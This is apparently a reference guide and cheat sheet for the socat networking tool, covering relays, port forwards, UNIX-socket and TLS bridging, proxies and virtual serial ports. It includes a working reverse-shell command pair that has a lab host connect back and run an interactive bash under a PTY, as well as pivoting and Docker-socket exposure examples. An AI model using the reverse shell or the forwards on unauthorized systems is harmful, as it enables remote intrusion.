socat
socat (SOcket CAT) opens two addresses and pumps bytes between them, where an address can be a TCP or UDP socket, a UNIX socket, a serial line, a TLS channel, a file, or a subprocess. Reach for it the moment nc runs out of room: a relay, a port forward, a UNIX-socket-to-TCP bridge, a TLS wrapper, a proxy hop, or a virtual serial port.
Mental model: socat ADDR1 ADDR2. Name the left address, name the right address, and it bridges them.
Only relay, forward, or listen on hosts you own or are explicitly authorized to test. A forward can move traffic into places that were never meant to be reachable.
How socat works: core concepts
- Address pair: socat’s whole job is
socat ADDR1 ADDR2, open two addresses and pump bytes between them - Address types:
TCP,UDP,UNIX-CONNECT/UNIX-LISTEN,OPENSSL(TLS),FILE,EXEC/SYSTEM,PTY, or a serial line like/dev/ttyUSB0 -(dash): the stdin/stdout address; put it on one side to type at or log the other- LISTEN vs CONNECT:
TCP-LISTEN:PORTwaits for a client,TCP:HOST:PORTdials out; a forward pairs one of each - Address options: comma-glued suffixes on an address, for example
reuseaddr,fork,bind=IP,verify=0,crlf fork: spawn a child per connection so a listener survives past the first client- Data logging:
-vprints transferred bytes as text,-xas hex;>and<mark the two directions
When to reach for socat (and when not)
Reach for it when a plain nc is too simple: a relay or port forward, bridging a UNIX socket to TCP (or the reverse), wrapping a plaintext service in TLS, hex-dumping a protocol to reverse it, bridging UDP to TCP, making a linked virtual serial pair, or upgrading a rough reverse pipe into a real interactive PTY.
Reach for something else for a quick one-shot listener or connection test (nc), for real encrypted, authenticated tunneling when you have a shell and creds (ssh -L/-R/-D), to watch the forwarded bytes actually cross the wire (tcpdump), or for purpose-built multi-hop pivoting in an authorized engagement (chisel / ligolo-ng).
Install, update, verify#
sudo apt install -y socat # Debian / Ubuntu / Kali
sudo dnf install -y socat # Fedora / RHEL
brew install socat # macOS
sudo apt install --only-upgrade -y socat # update
socat -V # version + compiled-in features (OPENSSL, PTY, READLINE)
command -v socat # confirm it's on PATH
The -V output is worth a look: it lists which features were built in. If a TLS example fails, check -V for WITH_OPENSSL first.
Flags you’ll actually use#
socat’s behavior is a handful of global flags plus comma-glued address options. Skim these first; the cheat sheet below is these flags combined.
| Flag / option | Does | Flag / option | Does |
|---|---|---|---|
-v | Log transferred data as text | reuseaddr | Re-bind a port immediately |
-x | Log transferred data as hex | fork | Handle repeat / multiple clients |
-d -d | Raise diagnostic detail (repeat) | bind=IP | Listen on one interface only |
-u / -U | One-way flow (L->R / R->L) | verify=0 | Skip TLS cert check (lab) |
-T N | Close a session after N s idle | cert= / cafile= | Present a cert / trust a CA |
-V | Print version + features | crlf | Translate LF to/from CRLF |
Cheat sheet#
Several blocks build up one option at a time, so you can stop at the line that does the job.
# Connect out: build up a client (stop at the line you need)
socat - TCP:TARGET_IP:RPORT # 1. interactive TCP client (like nc)
socat -v - TCP:TARGET_IP:RPORT # 2. + log bytes each way as text
socat -x - TCP:TARGET_IP:RPORT # 3. hex dump instead (binary protocols)
socat -,crlf TCP:TARGET_IP:25 # line protocol: Enter sends CRLF (SMTP/HTTP)
# Listen: build up a server
socat - TCP-LISTEN:9000 # 1. one client, then exit
socat - TCP-LISTEN:9000,reuseaddr # 2. + rebind the port immediately
socat -v TCP-LISTEN:9000,reuseaddr,fork - # 3. + many clients, log bytes to terminal
# Port forward (relay)
socat TCP-LISTEN:LPORT,reuseaddr,fork TCP:TARGET_IP:RPORT # forward to a remote
socat TCP-LISTEN:LPORT,reuseaddr,fork,bind=127.0.0.1 TCP:TARGET_IP:RPORT # loopback-only
socat TCP6-LISTEN:LPORT,reuseaddr,fork TCP4:TARGET_IP:RPORT # IPv6 front, IPv4 back
# UNIX sockets
socat - UNIX-CONNECT:/var/run/docker.sock # talk to a UNIX socket
socat TCP-LISTEN:LPORT,reuseaddr,fork UNIX-CONNECT:/run/app.sock # expose a socket as TCP
socat UNIX-LISTEN:/tmp/app.sock,reuseaddr,fork TCP:TARGET_IP:RPORT # expose TCP as a socket
# TLS
socat -v - OPENSSL:DOMAIN:RPORT,verify=0 # connect, skip cert check
socat - OPENSSL:DOMAIN:RPORT,cafile=ca.pem # connect, verify against a CA
socat OPENSSL-LISTEN:LPORT,reuseaddr,fork,cert=lab.pem,verify=0 TCP:127.0.0.1:RPORT # TLS front-end
# UDP
socat -T 15 UDP-LISTEN:LPORT,reuseaddr,fork UDP:TARGET_IP:RPORT # UDP forward, 15s idle drop
socat UDP-LISTEN:LPORT,reuseaddr,fork TCP:TARGET_IP:RPORT # UDP in, TCP out
# Files and capture
socat -u TCP-LISTEN:9000,reuseaddr,fork FILE:capture.bin,create,append # append incoming bytes
socat -u FILE:payload.bin TCP:TARGET_IP:RPORT # stream a file out
# Proxies
socat - PROXY:127.0.0.1:TARGET_IP:RPORT,proxyport=8080 # HTTP CONNECT proxy
socat - SOCKS4A:127.0.0.1:DOMAIN:RPORT,socksport=9050 # SOCKS4a (e.g. Tor)
# Serial / PTY
socat - /dev/ttyUSB0,b115200,raw,echo=0 # attach to a serial console
socat -d -d PTY,raw,echo=0 PTY,raw,echo=0 # linked virtual serial pair (prints both names)
Command breakdowns#
Each block below explains one situation, the exact command, and what to expect back.
Talk to a TCP service and log every byte#
socat -v - TCP:TARGET_IP:RPORT
An interactive client like nc, but it also prints what goes each way. Ideal for reverse-engineering a text protocol. > lines are what you sent, < lines are what came back.
Hex-dump a binary protocol#
socat -x - TCP:TARGET_IP:RPORT
Same session, but each direction is dumped as hex plus ASCII, so non-printable bytes are readable. Reach for this the moment -v output turns to garble.
Watch what connects to a port#
socat -v TCP-LISTEN:9000,reuseaddr,fork -
Accepts repeated connections and echoes the bytes to your terminal. A quick listener for testing a callback, a webhook, or a firewall rule. reuseaddr lets you restart it instantly; fork keeps it alive past the first client.
Forward a local port to a remote service#
socat TCP-LISTEN:LPORT,reuseaddr,fork TCP:TARGET_IP:RPORT
Anything hitting LPORT on this box is relayed to TARGET_IP:RPORT. fork keeps it serving after the first client disconnects. This is the classic socat relay.
Keep a forward loopback-only#
socat TCP-LISTEN:LPORT,reuseaddr,fork,bind=127.0.0.1 TCP:TARGET_IP:RPORT
Same forward, but only local clients can connect. The safe default whenever you do not need the relay exposed to the whole network.
Bridge IPv6 clients to an IPv4 service#
socat TCP6-LISTEN:LPORT,reuseaddr,fork TCP4:TARGET_IP:RPORT
Terminates on IPv6, dials out on IPv4 (or swap them). Handy when a client and a service disagree on address family and you cannot change either one.
Talk to a UNIX socket#
socat - UNIX-CONNECT:/var/run/docker.sock
Bridges your stdin/stdout to the socket. Type GET /version HTTP/1.0 then two Enters to poke the Docker API. Works for any app that listens on a UNIX socket.
Expose a UNIX socket as a TCP port#
socat TCP-LISTEN:LPORT,reuseaddr,fork UNIX-CONNECT:/run/app.sock
Lets an authorized remote tool that only speaks TCP reach a socket-only service. Reverse the two addresses (UNIX-LISTEN on the left) to publish a TCP service as a local socket instead.
Connect to a TLS service, ignoring the cert#
socat -v - OPENSSL:DOMAIN:RPORT,verify=0
Wraps the session in TLS and skips certificate checks. Lab and self-signed only. Swap verify=0 for cafile=ca.pem to actually validate against a known CA.
Put TLS in front of a plaintext service#
# one-time self-signed cert for the lab
openssl req -newkey rsa:2048 -nodes -x509 -days 365 -keyout lab.key -out lab.crt \
-subj "/CN=lab" && cat lab.key lab.crt > lab.pem
# terminate TLS on LPORT, hand cleartext to the local backend
socat OPENSSL-LISTEN:LPORT,reuseaddr,fork,cert=lab.pem,verify=0 TCP:127.0.0.1:RPORT
Clients connect over TLS; socat decrypts and forwards to the plaintext service. A quick way to give a bare backend an encrypted front door for testing.
Bridge UDP to TCP#
socat -T 15 UDP-LISTEN:LPORT,reuseaddr,fork TCP:TARGET_IP:RPORT
Lets a UDP-only client reach a TCP service. -T 15 drops idle sessions after 15 seconds, which matters because UDP has no connection to close on its own.
Capture incoming bytes to a file#
socat -u TCP-LISTEN:9000,reuseaddr,fork FILE:capture.bin,create,append
-u makes the flow one-way (left to right); each client’s bytes are appended to the file and nothing is sent back. Point it the other way (-u FILE:payload.bin TCP:...) to stream a file out.
Speak a CRLF line protocol by hand#
socat -,crlf TCP:TARGET_IP:25
Translates your Enter key to \r\n so line-oriented protocols like SMTP, HTTP, and POP3 accept each typed line instead of hanging on a bare LF.
Upgrade a reverse shell to a full PTY#
# your box (the listener):
socat file:$(tty),raw,echo=0 TCP-LISTEN:LPORT
# the lab host connects back:
socat TCP:LHOST:LPORT EXEC:'bash -li',pty,stderr,setsid,sigint,sane
Turns a rough pipe into a real terminal: job control, arrow keys, Ctrl-C, and tab-completion all work. Authorized labs only.
Reach a target through an HTTP or SOCKS proxy#
socat - PROXY:127.0.0.1:TARGET_IP:RPORT,proxyport=8080 # HTTP CONNECT proxy
socat - SOCKS4A:127.0.0.1:DOMAIN:RPORT,socksport=9050 # SOCKS4a (e.g. Tor)
Tunnels a plain TCP session through a proxy with no extra wrapper. SOCKS4A resolves the hostname at the proxy, which is what you want when the name only resolves on the far side.
Make a virtual serial pair for testing#
socat -d -d PTY,raw,echo=0 PTY,raw,echo=0
Creates two linked pseudo-terminals and, at -d -d, prints both device names. Point one program at each end to test serial code with no hardware.
Reading the output#
socat writes diagnostics to stderr, each line prefixed by severity: E error, W warning, N notice (shown at -d -d). Data logged by -v / -x is prefixed > or < for the two directions, with a timestamp and length=.
| You see | Meaning | Do next |
|---|---|---|
> length=27 / < length=13 | Bytes crossing, one line per direction | The relay is live and carrying traffic |
N accepting connection from ... | A client hit your listener | Expected on any working LISTEN |
N ... connection succeeded | The connect side reached the target | Forward path is up end-to-end |
E ... Connection refused | Far address isn’t listening | Fix / confirm the target, not socat |
W ... Address already in use | Port still bound | Add reuseaddr or free the port |
A clean relay does not mean the protocol is valid. socat forwards bytes even when the app on top is broken, so verify at the application layer.
Troubleshooting#
| Problem | Cause | Fix |
|---|---|---|
command not found | Not installed / stale PATH | Reinstall; open a fresh shell |
Address already in use | Old listener still holds the port | Add reuseaddr, or kill it / pick a new port |
Connection refused | Far address isn’t listening | Confirm the target service is up first |
Permission denied binding | Port below 1024 needs root | Use a high port, or sudo |
| Listener quits after one client | Missing fork | Add ,fork to the LISTEN address |
| TLS handshake / verify fails | Cert issue or no OpenSSL build | Check socat -V for OPENSSL; add verify=0 in labs |
| Relay works but the app is broken | socat only moves bytes | Debug at the application layer |
| Output is unreadable garble | Binary protocol under -v | Switch to -x for hex |
Gotchas#
forkis what makes a listener reusable. Without it socat serves exactly one connection and exits, so nearly everyTCP-LISTENwants,reuseaddr,fork.- A bare
TCP-LISTENbinds every interface. Addbind=127.0.0.1unless you truly need the far side reachable from the whole network. This is the most expensive socat mistake. verify=0turns off all TLS validation. Fine for a self-signed lab endpoint; never point it at anything real.- Address options are comma-glued, never space-separated.
TCP-LISTEN:9000,reuseaddr,forkis one argument; a stray space makes socat read the rest as a second address and fail confusingly. EXECruns the program directly, not via a shell, so pipes, globs, and&&do not expand. UseSYSTEM:'...'(orEXEC:'bash -c "..."') when you need shell features.- UDP has no connection to end, so a
UDP-LISTENforward can hang on a dead session forever. Set-T Nto reap idle flows.
Pairs with#
Reach for nc for a quick one-shot listener or connection test before you bother building a socat relay. Use tcpdump alongside a forward to watch the bytes actually cross the wire and confirm the path. When you have credentials and a shell, ssh -L/-R/-D is the right tool for real encrypted, authenticated tunneling, and socat is best kept for the odd endpoints ssh cannot bridge (UNIX sockets, PTYs, serial lines, TLS-wrapping). For purpose-built multi-hop pivoting in an authorized engagement, reach for chisel or ligolo-ng instead.